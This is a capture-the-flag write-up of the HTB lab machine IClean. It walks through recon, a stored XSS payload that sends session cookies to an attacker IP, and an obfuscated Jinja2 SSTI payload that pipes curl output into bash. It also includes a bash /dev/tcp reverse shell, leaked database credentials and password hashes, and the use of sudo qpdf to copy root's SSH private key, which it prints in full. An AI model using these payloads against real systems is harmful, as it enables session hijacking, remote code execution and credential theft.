Summary
This write-up documents a full exploitation path for the HTB machine IClean. Primary findings: information disclosure and web vulnerabilities led to user access via an SSTI/XSS chain; credentials from application code allowed database access; qpdf misconfiguration enabled root privilege escalation.
Goal: demonstrate methodology and reasoning (recon → enumeration → exploitation → privilege escalation → remediation).
Target
- Host: 10.10.11.12 (lab address)
- Domain mapped locally: capiclean.htb
Reconnaissance
Start with a standard service/version scan:
nmap -sC -sV -v 10.10.11.12

Add host mapping locally:
sudo sh -c 'echo "10.10.11.12 capiclean.htb" >> /etc/hosts'

Web Enumeration Run directory discovery to find endpoints:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://capiclean.htb/FUZZ -c
The /quote endpoint is interesting and returns content that appears user-editable — good candidate for XSS/SSTI testing.
Visit /quote
User flag
Test send message for XSS
<img src="http://10.10.14.42:80";/>


Initial Access — Stored XSS & Session Hijack
Testing inputs revealed that user-supplied content could be reflected/stored and executed in victim contexts.
<img src=x onerror=fetch("http://10.10.14.42:80/"+document.cookie);>
This payload exfiltrated cookies to the attacker host. With a stolen session cookie, the web dashboard was accessible, revealing application internals and confirming Flask/Jinja usage.

Edit cookie session and go to dashboard


Application Logic Review — SSTI Discovery
Within the dashboard:
- Generate Invoice → issues an Invoice ID.
- Generate QR → accepts qr_link and renders it in a template.
Injecting {{7*7}} into qr_link evaluated the expression, confirming Server-Side Template Injection (SSTI) in Jinja2.
Test Generate Invoice
It return an Invoice ID

Next function is Generate QR with input is Invoice ID

Insert QR link

Inject {{7*7}} to param qr_link

This param vulnerable SSTI
We can inject a payload to get reverse shell
Simple reverse shell with bash
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.42/4444 0>&1"
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl 10.10.14.42:80/revshell | bash")|attr("read")()}}


Get Cred from app.py
But dont’t have user consuela
Try do login mysql with credential
- ‘host’: ‘127.0.0.1’,
- ‘user’: ‘iclean’,
- ‘password’: ‘pxCsmnGLckUb’,
- ‘database’: ‘capiclean’
mysql -u iclean -p
mysql --database capiclean -e 'show databases;' -u iclean -p

mysql --database capiclean -e 'use capiclean; show tables;' -u iclean -p

mysql --database capiclean -e 'use capiclean; select * from users;' -u iclean -p

id username password role_id
1 admin 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 21232f297a57a5a743894a0e4a801fc3
2 consuela 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa ee11cbb19052e40b07aac0ca060c23ee
Crack hash

Password of user consuela is simple and clean
su to consuela
Upgrade the shell
Root flag
Privilege Escalation — abusing qpdf
On the host, sudo -l showed iclean can run /usr/bin/qpdf as root without a password. qpdf supports adding attachments to PDFs — this functionality can be abused to write files as root.
https://qpdf.readthedocs.io/en/stable/cli.html
We can copy private key of root
sudo /usr/bin/qpdf --qdf --add-attachment /root/.ssh/id_rsa -- --empty ./id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----
Modife output file to get correct key, then ssh to root and get root flag

Final notes
This exercise demonstrates a typical web → root attack chain:
- client-side vulnerability (XSS) → session hijack,
- SSTI → RCE,
- credential harvest → DB access,
- privileged binary misuse (qpdf) → root.